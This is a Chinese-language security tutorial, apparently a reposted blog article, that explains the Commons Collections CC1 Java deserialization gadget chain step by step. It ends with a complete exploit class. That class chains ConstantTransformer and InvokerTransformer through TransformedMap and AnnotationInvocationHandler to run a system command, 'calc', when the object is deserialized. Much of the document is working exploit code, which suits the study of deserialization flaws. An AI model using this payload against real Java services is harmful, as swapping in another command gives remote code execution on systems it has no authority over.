当前位置: 首页 > news >正文

WEB安全--Java安全--CC1利用链

一、梳理基本逻辑

WEB后端JVM通过readObject()的反序列化方式接收用户输入的数据

用户编写恶意代码并将其序列化为原始数据流

WEB后端JVM接收到序列化后恶意的原始数据并进行反序列化 

当调用:
ObjectInputStream.readObject()

JVM 内部逻辑:
→ 反序列化 AnnotationInvocationHandler.class
→ 检查到类里定义了 private void readObject(ObjectInputStream)
→ 自动调用 readObject()

于是我们通过这个入口将整条链都执行了,最后执行命令

二、CC1的基本形态构建

2.1、Runtime.getRuntime().exec()

Java执行系统命令的方式

正常写法:

Runtime.getRuntime().exec("calc");

反射写法:

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

2.2、InvokeTransformer.transform()

重写了Transformer接口的transform方法,能执行命令

在InvokeTransformer()中传入待执行的方法名(exec)、类的类型(String.class)和具体命令(calc)

在InvokeTransformer的transform()中传入要执行方法的对象(r)

Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

其作用等价于

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

也等价于

Runtime.getRuntime().exec("calc");

2.3、TransformedMap.checkSetValue()

会调用transform -> 需要通过TransformedMap.decorate()间接调用

可以看到图3调用了transform()方法;

并且由图1知道该类是对Map进行处理的类,为了达到我们想要的效果,我们得自己构造一个Hash Map;

而且可以看到图3最后是对valueTransformer进行操作的,所以我们可以把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

所以当TransformedMap处理我们的对象时,就会调用InvokeTransformer.transform()

也就是等价于:

protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}

2.4、MapEntry.setValue()

TransformedMap的抽象父类AbstractInputCheckedMapDecorator

中的MapEntry副类中的setValue()方法调用了checkSetValue()

HashMap在遍历的时候,一个键值对就叫Entry;

MapEntry的setValue()实际上就是重写的Entry的setValue();

所以当遍历我们构造的transformedMap对象时,就会走到MapEntry的setValue()方法;

进而调用setValue()中调用的checkSetValue():

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}

当transformedMap被遍历时,就会执行命令:

2.5、AnnotationInvocationHandler.readObject()

AnnotationInvocationHandler重写了readObject()方法,执行AnnotationInvocationHandler.readObject()时会调用setValue()

因为这个类的构造方法不是public,所以我们要通过反射获取该类及其方法

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

三、整理内容

3.1、思路梳理(正向)

1、现在我们构建的这个对象,会在反序列化的时候自动触发AnnotationInvocationHandler中的readObject()方法,原理如下;

2、当执行该重写的readObject()方法时,会触发调用MapEntry.setValue(),因为AnnotationInvocationHandler.readObject()的内部机制:

当反序列化AnnotationInvocationHandler时会自动遍历我们传递的transformedMap,从而执行MapEntry的setValue()方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {memberValue.setValue(...);  // ← 这里就触发了 transformedMap 的 checkSetValue()
}

3、当MapEntry.setValue()被执行时,会执行TransformedMap.checkSetValue(),因为:

TransformedMap.decorate()返回的Map包装了原始的entrySet(),当调用entry.setValue()时,其实是在调用TransformedMap.MapEntry.setValue(),而这个方法正好调用了checkSetValue()

当遍历我们构造的transformedMap对象时,就会走到MapEntry的setValue()方法;

进而调用setValue()中调用的checkSetValue():

4、当TransformedMap.checkSetValue()被调用时,会调用InvokeTransformer.transform(),因为:

我们把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法

而decorate()方法就会间接调用checkSetValue(),然后间接调用InvokeTransformer.transform(),相当于

protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}

5、当InvokeTransformer.transform()被调用,就基于我们实例化的Runtime对象r进行命令执行

3.2、EXP雏形

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("calc");Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> map = new HashMap<>();map.put("key","value");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);serialize(hacker);unserialize("hacker.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

 

四、问题处理

4.1、Runtime不能被序列化

我们跟进到Runtime里看一下,发现它没有serializable接口,不能被序列化:

但是我们可以运用反射来获取它的原型类,它的原型类class是存在serializable接口,可以序列化

那么我们怎么获取一个实例化对象呢,这里我们看到存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:

用反射构建一个Runtime对象(能执行命令):

//获取类原型
Class c = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = c.getMethod("getRuntime",null);//获取实例化对象,因为该方法无无参方法,所以全为null
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//获取exec方法
Method execMehod = c.getMethod("exec", String.class);
//实现命令执行
execMehod.invoke(r,"calc");

因为我们最后执行是依靠InvokeTransformer.transform(),所以要将上述代码进行变形,使其用InvokeTransformer.transform()的形式呈现(能执行命令):

参考InvokeTransformer.transform()执行对象方法的原理

\\InvokeTransformer(方法).transform(对象)\\

//获取类原型
Class c = Runtime.class;
//模拟获取getRuntime方法
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//模拟获取invoke方法
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//模拟获取exec方法,并进行命令执行
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

4.2、AnnotationInvocationHandler类下的readObject方法的条件判断

这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称

而我们发现另一个注解@Target中有个名为value的成员变量,所以我们就可以使用这个注解,

并改第一个键值对的值为value:

4.3、AnnotationTypeMismatchExceptionProxy不能转换为Runtime.class

把上述问题解决后我们再观察,因为AnnotationInvocationHandler.readObject()是入口,当反序列化触发readObject()时,该方法默认创建了一个对象AnnotationTypeMismatchExceptionProxy:

可以发现,链条虽然被触发了,不过AnnotationTypeMismatchExceptionProxy这个对象最后传到ChainedTransformer类中是不能执行方法的,我们想要的是获取Runtime.class对象:

protected Object checkSetValue(Object value) {return ChainedTransformer.transform(Runtime.class);
}

而不是: 

protected Object checkSetValue(Object value) {return ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy);
}

 所以我们需要把AnnotationTypeMismatchExceptionProxy改为Runtime.class

ConstantTransformer:我们传入什么值,就会返回什么值

这个类就能把AnnotationTypeMismatchExceptionProxy改为Runtime.class

在到达最后一步InvokeTransformer.transform()对某个对象执行其命令之前,将Runtime.class作为对象输出给它

 至此,CC1链的问题就全部解决了。

五、最终EXP

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class ZCC1_final {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value","value");Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);annotation.setAccessible(true);Object o = annotation.newInstance(Target.class,transformed);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}

http://www.xdnf.cn/news/442657.html

相关文章:

  • 生成式人工智能认证(GAI认证)官网 - 全国统一认证中文服务平台上线
  • [python] python中的魔法方法和属性
  • 【Python 异常处理】
  • 【c语言内存函数】
  • Kuka AI音乐AI音乐开发「人声伴奏分离」 —— 「Kuka Api系列|中文咬字清晰|AI音乐API」第6篇
  • 梯度优化提示词:模型生成精准回答的秘密
  • libmemcached库api接口讲解四
  • 反向搭理搭建于网络安全的分层关系讨论
  • 计算机网络-MPLS VPN基础概念
  • FlashInfer - 测试的GPU H100 SXM、A100 PCIe、RTX 6000 Ada、RTX 4090
  • 具身智能梳理以及展望
  • React Flow 简介:构建交互式流程图的最佳工具
  • 如何远程执行脚本不留痕迹
  • MCU ESP32-S3+SD NAND(贴片式T卡):智能皮电手环(GSR智能手环)性能与存储的深度评测
  • MoonBit正式入驻GitCode!AI时代的编程语言新星,开启高性能开发新纪元
  • LVS负载均衡群集和keepalive
  • Canvas知识框架
  • CSP信奥赛新增的算法-马拉车算法(Manacher‘s Algorithm)
  • 使用 Semantic Kernel 调用 Qwen-VL 多模态模型
  • YashanDB V23.4 LTS 正式发布|两地三中心、库级闪回重磅特性上线,生产级可用性再升级
  • docker(二)初识 docker
  • Rust入门之高级Trait
  • 机器学习 Day17 朴素贝叶斯算法-----概率论知识
  • 2025视频协作工具全景解析:技术跃迁与场景重构
  • 【Linux网络】认识网络
  • 编译openssl源码
  • 【软件工程】基于数据流和依赖分析
  • 商城小程序源码介绍
  • OpenHarmony系统HDF驱动开发介绍(补充)
  • react+html2canvas+jspdf将页面导出pdf